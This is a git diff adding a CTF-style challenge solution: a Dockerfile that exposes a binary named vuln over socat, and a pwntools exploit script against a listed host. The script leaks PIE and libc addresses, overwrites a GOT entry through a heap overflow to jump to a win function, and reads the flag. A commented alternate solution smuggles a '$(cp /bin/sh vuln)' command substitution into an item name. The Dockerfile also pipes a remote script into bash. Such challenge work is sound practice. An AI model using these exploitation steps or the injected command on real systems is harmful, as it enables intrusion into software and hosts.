diff --git a/Day 21/Dockerfile b/Day 21/Dockerfile new file mode 100644 index 0000000..75c35da --- /dev/null +++ b/Day 21/Dockerfile @@ -0,0 +1,10 @@ +FROM docker.io/library/ubuntu:23.04 + +RUN apt update && apt -y upgrade curl python3 gdb binutils elfutils file && bash -c "$(curl -fsSL https://gef.blah.cat/sh)" +RUN apt install -y socat + +COPY . . + +RUN chmod +x vuln + +ENTRYPOINT ["socat", "TCP-LISTEN:1337,reuseaddr,fork", "EXEC:\"./vuln\""] diff --git a/Day 21/exploit.py b/Day 21/exploit.py new file mode 100755 index 0000000..e13bf2e --- /dev/null +++ b/Day 21/exploit.py @@ -0,0 +1,198 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template '--host=152.96.15.5' '--port=1337' vuln +from pwn import * +from hackingscripts import util +from pyzbar.pyzbar import decode +from PIL import Image +import re + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or 'vuln') +libc = ELF("./libc.so.6", checksec=False) + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR +# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable +host = args.HOST or '152.96.15.5' +port = int(args.PORT or 1337) +ansi_escape = re.compile(r'\x1B(?:[@-Z\\-_]|\[[0-?]*[ -/]*[@-~])'.encode()) + +def start_local(argv=[], *a, **kw): + '''Execute the target binary locally''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +def start_remote(argv=[], *a, **kw): + '''Connect to the process on the remote host''' + io = connect(host, port) + if args.GDB: + gdb.attach(io, gdbscript=gdbscript) + return io + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.LOCAL: + return start_local(argv, *a, **kw) + else: + return start_remote(argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +tbreak main +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: Full RELRO +# Stack: Canary found +# NX: NX enabled +# PIE: PIE enabled + +def save_shopping_list(file_name): + + if isinstance(file_name, str): + file_name = file_name.encode() + + io.recvuntil(b"> ") + io.sendline(b"s") + io.recvuntil(b"> ") + io.sendline(file_name) + +def add_item(item_name, item_count): + + if isinstance(item_name, str): + item_name = item_name.encode() + + io.recvuntil(b"> ") + io.sendline(b"a") + io.recvuntil(b"> ") + io.sendline(item_name) + io.recvuntil(b"> ") + io.sendline(str(item_count).encode()) + +def send_quit(): + io.recvuntil(b"> ") + io.sendline(b"q") + +def change_quantity(item_name, new_quantity): + + io.recvuntil(b"> ") + io.sendline(b"c") + + if isinstance(item_name, str): + item_name = item_name.encode() + + io.recvuntil(b"> ") + io.sendline(item_name) + io.recvuntil(b"> ") + io.sendline(str(new_quantity).encode()) + leak = io.recvline() + match = re.search(r"You've found my little secret, as a reward you will get: (.*)", leak.decode()) + return int(match[1], 16) + +def edit_item(item_name, new_name): + + if isinstance(item_name, str): + item_name = item_name.encode() + if isinstance(new_name, str): + new_name = new_name.encode() + + io.recvuntil(b"> ") + io.sendline(b"e") + io.recvuntil(b"> ") + io.sendline(item_name) + io.recvuntil(b"> ") + io.sendline(new_name) + +def list_items(): + io.recvuntil(b"> ") + io.sendline(b"l") + + items = [] + while True: + line = ansi_escape.sub(b'', io.recvline()) + match = re.match(r" - (\d+)x (.*)".encode(), line) + if match: + items.append((int(match[1]), match[2])) + elif b"What do you want to do?" in line: + break + + return items + +def unicode_to_img(unicode): + lines = unicode.split(b"\n") + qr_size = len(lines) * 2 - 1 + pix_size = 10 + img = Image.new("RGB", (qr_size*pix_size, qr_size*pix_size)) + pix = img.load() + + color_map = { + "█": [(0, 0, 0), (0, 0, 0)], + "▀": [(0, 0, 0), (255, 255, 255)], + "▄": [(255, 255, 255), (0, 0, 0)], + " ": [(255, 255, 255), (255, 255, 255)], + "\xa0": [(255, 255, 255), (255, 255, 255)], + } + + for ri, line in enumerate(lines): + for ci, b in enumerate(line.decode()): + color_top, color_bottom = color_map[b] + for xi in range(pix_size): + for yi in range(pix_size): + pix[ci*pix_size+yi,ri*2*pix_size+xi] = color_top + if ri < len(lines) - 1: + pix[ci*pix_size+yi,ri*2*pix_size+pix_size+xi] = color_bottom + return img + +io = start() +secret_name = "a"*1337 +add_item(secret_name, 1) +leak = change_quantity(secret_name, 2) +print("[+] Got leak:", hex(leak)) +exe.address = leak - exe.symbols["win"] +print("[+] PIE base:", hex(exe.address)) +add_item("AAAA", 1000) +add_item("BBBB", 1000) +edit_item("BBBB", 0x80 * b"B" + p64(exe.got["puts"])) + +items = list_items() +heap_leak = u64(util.pad(items[-1][1], 8)) +libc.address = heap_leak - libc.symbols["puts"] +print("[+] LIBC base:", hex(libc.address)) + +edit_item("AAAA", (0x80 + 0x80) * b"A" + p64(libc.address + 0x1f60a8)) +items = list_items() +strchrnul_func = u64(util.pad(items[-1][1], 8)) +print('[+] strchrnul@plt:', hex(strchrnul_func)) +edit_item(p64(strchrnul_func), p64(exe.symbols["win"])) +io.recvuntil(b"[q]uit\n") +io.sendline(b"cat /flag && exit") +qr_code = io.recvall() +io.close() +img = unicode_to_img(qr_code) +print("[+] Flag:", decode(img)[0].data.decode()) + +### Unintended solution: +# io = start() +# add_item("$(cp /bin/sh vuln)", 1) +# save_shopping_list("vuln") +# send_quit() +# io.close() + +# io = start() +# io.close() + +# io = start() +# io.interactive() +### \ No newline at end of file diff --git a/Day 21/libc.so.6 b/Day 21/libc.so.6 new file mode 100644 index 0000000..666b79f Binary files /dev/null and b/Day 21/libc.so.6 differ diff --git a/Day 21/vuln b/Day 21/vuln new file mode 100755 index 0000000..121c009 Binary files /dev/null and b/Day 21/vuln differ